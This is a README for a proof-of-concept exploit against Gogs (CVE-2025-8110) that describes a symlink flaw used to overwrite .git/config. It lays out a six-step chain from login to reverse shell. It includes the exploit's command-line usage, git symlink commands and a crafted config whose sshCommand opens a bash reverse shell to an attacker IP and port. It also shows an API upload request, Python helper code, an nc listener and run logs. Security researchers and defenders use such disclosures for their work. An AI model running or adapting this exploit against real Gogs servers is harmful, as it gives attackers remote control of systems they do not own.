
PoC exploit for CVE-2025-8110
CVE-2025-8110 is a critical vulnerability in Gogs that allows authenticated attackers to achieve remote code execution through repository symlink manipulation. This proof of concept demonstrates the complete exploitation chain, from authentication to reverse shell acquisition.
The vulnerability exists because Gogs follows symlinks when handling repository files through its API, allowing an attacker to read and modify sensitive files like .git/config. By injecting a malicious sshCommand directive, arbitrary system commands can be executed with the privileges of the Gogs service account.
CVSS Score: 7.2 (High)
Attack Vector: Network
Authentication Required: Yes
User Interaction: None
Impact: Complete system compromise
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Main exploit script
├── requirements.txt # Python dependencies
└── README.md # Documentation
| Option | Description | Required |
|---|---|---|
-u, --url | Gogs base URL (e.g., https://gogs.example.com) | Yes |
-lh, --host | Attacker IP address for reverse shell | Yes |
-lp, --port | Attacker port for reverse shell | Yes |
-U, --username | Gogs username | Yes |
-P, --password | Gogs password | Yes |
-x, --proxy | Enable proxy (localhost:8080) | No |
-v, --verbose | Enable verbose output | No |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
Gogs fails to properly sanitize symlink traversal when handling repository files through its API. When a file is accessed via the API endpoint, Gogs follows symlinks without validation, allowing access to sensitive files outside the repository directory.
Symlink Creation
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Malicious Configuration
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API Exploitation
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0